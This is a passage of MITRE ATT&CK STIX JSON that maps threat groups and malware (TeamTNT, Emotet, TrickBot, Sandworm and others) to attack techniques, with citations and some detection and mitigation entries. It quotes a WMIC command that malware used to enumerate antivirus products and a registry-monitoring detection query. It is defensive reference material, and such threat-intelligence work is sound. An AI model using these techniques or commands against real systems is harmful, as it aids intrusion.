2020)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e830611d-a7c5-446c-a5a7-ec1062bb3f53","created":"2021-10-01T01:57:31.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cado Security TeamTNT Worm August 2020","description":"Cado Security. (2020, August 16). Team TNT – The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.","url":"https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/"},{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Trend Micro TeamTNT","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.717Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has searched for unsecured AWS credentials and Docker API credentials.(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Trend Micro TeamTNT)(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8312c6b-a855-48c4-b5cc-8e369bcfd475","created":"2022-09-29T18:16:39.749Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T18:16:39.749Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used code to obtain the external public-facing IPv4 address of the compromised host.(Citation: DFIR Conti Bazar Nov 2021) ","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e834920f-bc30-458e-b56e-80947d3a7c6e","type":"relationship","created":"2019-03-26T17:48:52.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Picus Emotet Dec 2018","url":"https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html","description":"Özarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."},{"source_name":"Trend Micro Banking Malware Jan 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/","description":"Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019."},{"source_name":"US-CERT Emotet Jul 2018","url":"https://www.us-cert.gov/ncas/alerts/TA18-201A","description":"US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."}],"modified":"2020-03-16T15:51:29.953Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been observed injecting in to Explorer.exe and other processes. (Citation: Picus Emotet Dec 2018)(Citation: Trend Micro Banking Malware Jan 2019)(Citation: US-CERT Emotet Jul 2018)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8352090-00a3-4a0b-b8ba-c2308bdc9312","created":"2024-01-04T20:45:18.620Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T21:18:22.831Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has used the name `debug.exe` for malware components.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8379082-d4fe-4bc9-8ba6-63299045eb73","created":"2020-12-29T16:20:58.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:16:34.345Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) used xp_cmdshell to store and execute SQL code.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e83a16d0-70b7-415c-8b3f-bdbb89f10455","created":"2023-11-28T22:03:00.924Z","revoked":false,"external_references":[{"source_name":"Emotet Deploys TrickBot","description":"Cybereason Nocturnus. (n.d.). Triple Threat: Emotet Deploys TrickBot to Steal Data & Spread Ryuk. Retrieved November 28, 2023.","url":"https://www.cybereason.com/blog/research/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware#:~:text=TrickBot%20uses%20a%20hidden%20VNC,desktop%20without%20the%20victim%20noticing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-28T22:03:00.924Z","description":"TrickBot has used a hidden VNC (hVNC) window to monitor the victim and collect information stealthily.(Citation: Emotet Deploys TrickBot)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e83fb711-3ce0-4c6a-a8b2-0efb96551b99","type":"relationship","created":"2021-01-06T16:56:56.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-06T18:04:46.296Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) delivered different payloads, including [TEARDROP](https://attack.mitre.org/software/S0560) in at least one instance.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e842c832-8e3a-487c-bdde-e1614fec6c7e","created":"2021-02-25T17:05:15.970Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 IronNetInjector February 2021 ","description":"Reichel, D. (2021, February 19). IronNetInjector: Turla’s New Malware Loading Tool. Retrieved February 24, 2021.","url":"https://unit42.paloaltonetworks.com/ironnetinjector/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:14:51.640Z","description":"[IronNetInjector](https://attack.mitre.org/software/S0581) can obfuscate variable names, encrypt strings, as well as base64 encode and Rijndael encrypt payloads.(Citation: Unit 42 IronNetInjector February 2021 )","relationship_type":"uses","source_ref":"tool--b1595ddd-a783-482a-90e1-8afc8d48467e","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e84791af-7bdb-4fe9-8e03-7a10a154c9a4","created":"2020-05-19T20:39:12.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Gamaredon June 2020","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"},{"source_name":"CERT-EE Gamaredon January 2021","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022.","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf"},{"source_name":"TrendMicro Gamaredon April 2020","description":"Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/"},{"source_name":"Microsoft Actinium February 2022","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/"},{"source_name":"Secureworks IRON TILDEN Profile","description":"Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022.","url":"https://www.secureworks.com/research/threat-profiles/iron-tilden"},{"source_name":"Symantec Shuckworm January 2022","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine"},{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"},{"source_name":"Unit 42 Gamaredon February 2022","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022.","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:44:09.909Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has attempted to get users to click on Office attachments with malicious macros embedded.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: CERT-EE Gamaredon January 2021)(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)(Citation: Secureworks IRON TILDEN Profile)(Citation: unit42_gamaredon_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e848e92c-af22-4284-a27d-7c2673a4b0fe","created":"2022-09-27T17:57:34.141Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T17:57:34.141Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors collected a list of installed software on the infected system.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e84c3f01-fb77-40e6-8507-42bc500bd928","type":"relationship","created":"2021-03-15T18:56:36.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Trickbot Oct 2020","url":"https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/","description":"Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."}],"modified":"2021-03-15T18:56:36.787Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) establishes persistence in the Startup folder.(Citation: ESET Trickbot Oct 2020)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e84df21f-b55f-4b5d-ae7b-0f8fcc4eed95","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:24:07.793Z","description":"Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations. (Citation: TechNet Autoruns)\n\nDetection of the modification of the registry key Common Startup located in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\ and HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\. When a user logs on, any files located in the Startup Folder are launched. Attackers may modify these folders with other files in order to evade detection set on these default folders. This detection focuses on EventIDs 4688 and 1 for process creation and EventID 4657 for the modification of the Registry Keys.\n\nAnalytic 1 - Modification of Default Startup Folder in the Registry Key ‘Common Startup’\n\n(source=\"*WinEventLog:Security\" EventCode=\"4657\" ObjectValueName=\"Common Startup\") OR (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"13\" TargetObject=\"*Common Startup\")","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8523d2e-2552-4d14-8980-dde0923c803d","type":"relationship","created":"2020-11-06T18:17:30.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}],"modified":"2020-11-06T18:17:30.524Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has set auto-forward rules on victim's e-mail accounts.(Citation: CISA AA20-301A Kimsuky)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8537bf5-f4b6-4b37-948d-57f49eb00984","type":"relationship","created":"2021-03-18T15:15:00.511Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-04-25T23:29:36.314Z","description":"[RemoteUtilities](https://attack.mitre.org/software/S0592) can use Msiexec to install a service.(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"tool--03c6e0ea-96d3-4b23-9afb-05055663cf4b","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e85549b5-77c8-426a-b7ea-fec30b05973f","type":"relationship","created":"2021-02-03T18:13:28.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ Iran Indictments March 2018","url":"https://www.justice.gov/usao-sdny/press-release/file/1045781/download","description":"DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."}],"modified":"2021-04-21T11:59:13.573Z","description":"[Silent Librarian](https://attack.mitre.org/groups/G0122) has used compromised credentials to obtain unauthorized access to online accounts.(Citation: DOJ Iran Indictments March 2018)","relationship_type":"uses","source_ref":"intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e85a5fe7-cbfe-44b1-b297-d02f531c5fb1","created":"2020-06-10T21:56:40.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Telebots June 2017","description":"Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020.","url":"https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/"},{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"},{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"},{"source_name":"US-CERT Ukraine Feb 2016","description":"US-CERT. (2016, February 25). ICS Alert (IR-ALERT-H-16-056-01) Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved June 10, 2020.","url":"https://www.us-cert.gov/ics/alerts/IR-ALERT-H-16-056-01"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T16:21:05.322Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used [CaddyWiper](https://attack.mitre.org/software/S0693), [SDelete](https://attack.mitre.org/software/S0195), and the [BlackEnergy](https://attack.mitre.org/software/S0089) KillDisk component to overwrite files on victim systems. (Citation: US-CERT Ukraine Feb 2016)(Citation: ESET Telebots June 2017)(Citation: Mandiant-Sandworm-Ukraine-2022) Additionally, [Sandworm Team](https://attack.mitre.org/groups/G0034) has used the JUNKMAIL tool to overwrite files with null bytes.(Citation: mandiant_apt44_unearthing_sandworm)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e85b405b-bd20-4f66-aebc-3726768d46ed","type":"relationship","created":"2020-10-19T16:08:30.029Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - AAA","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#38","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - AAA. Retrieved October 19, 2020."}],"modified":"2022-02-16T20:15:45.792Z","description":"Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always encrypted, per vendor recommendations.(Citation: Cisco IOS Software Integrity Assurance - AAA)","relationship_type":"mitigates","source_ref":"course-of-action--49c06d54-9002-491d-9147-8efb537fbd26","target_ref":"attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e85bf694-00ce-4e2a-835c-dd899dfb813d","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Monitor executed commands and arguments that are leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e85d72e6-f217-4f8e-bdb9-5143a06e52a8","created":"2022-08-07T15:06:14.232Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Action RAT](https://attack.mitre.org/software/S1028) can identify AV products on an infected host using the following command: `cmd.exe WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List`.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T16:13:11.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--36801ffb-5c85-4c50-9121-6122e389366d","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e8695cbf-80d1-4302-8b79-9667ba171735","created":"2024-05-15T20:09:39.332Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:09:39.332Z","description":"(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"tool--bba595da-b73a-4354-aa6c-224d4de7cb4e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e869a744-8bc5-4c01-960f-11e850a5c38e","type":"relationship","created":"2021-06-18T15:26:55.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}],"modified":"2021-06-18T15:26:55.689Z","description":"[Siloscape](https://attack.mitre.org/software/S0623) checks for Kubernetes node permissions.(Citation: Unit 42 Siloscape Jun 2021)","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e86b2094-65ea-45f8-94cc-0467cf2eebd9","created":"2024-08-27T21:05:25.164Z","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T21:05:25.164Z","description":"[VersaMem](https://attack.mitre.org/software/S1154) staged captured credentials locally at `/tmp/.temp.data`.(Citation: Lumen Versa 